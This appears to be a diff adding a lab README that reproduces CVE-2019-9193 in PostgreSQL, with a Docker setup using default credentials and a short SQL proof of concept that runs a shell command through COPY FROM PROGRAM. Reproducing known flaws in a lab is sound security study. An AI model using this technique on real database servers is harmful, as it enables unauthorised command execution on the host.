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+# PostgreSQL Arbitrary Command Execution with Admin Privileges (CVE-2019-9193)
+
+[中文文档](README.zh-cn.md)
+
+PostgreSQL is a powerful open-source relational database system. A "feature" exists in versions 9.3 through 11 that allows administrators or users with "COPY TO/FROM PROGRAM" privileges to execute arbitrary commands on the system.
+
+References:
+
+- <https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5>
+
+## Environment Setup
+
+Execute the following command to start a vulnerable PostgreSQL 10.7 server:
+
+```
+docker compose up -d
+```
+
+The server will start and listen on the default PostgreSQL port 5432, with default credentials postgres/postgres.
+
+## Vulnerability Reproduction
+
+First, connect to the PostgreSQL server and execute the following proof of concept:
+
+```sql
+DROP TABLE IF EXISTS cmd_exec;
+CREATE TABLE cmd_exec(cmd_output text);
+COPY cmd_exec FROM PROGRAM 'id';
+SELECT * FROM cmd_exec;
+```
+
+The `FROM PROGRAM` statement will execute the `id` command and save the results in the `cmd_exec` table:
+
+![](1.png)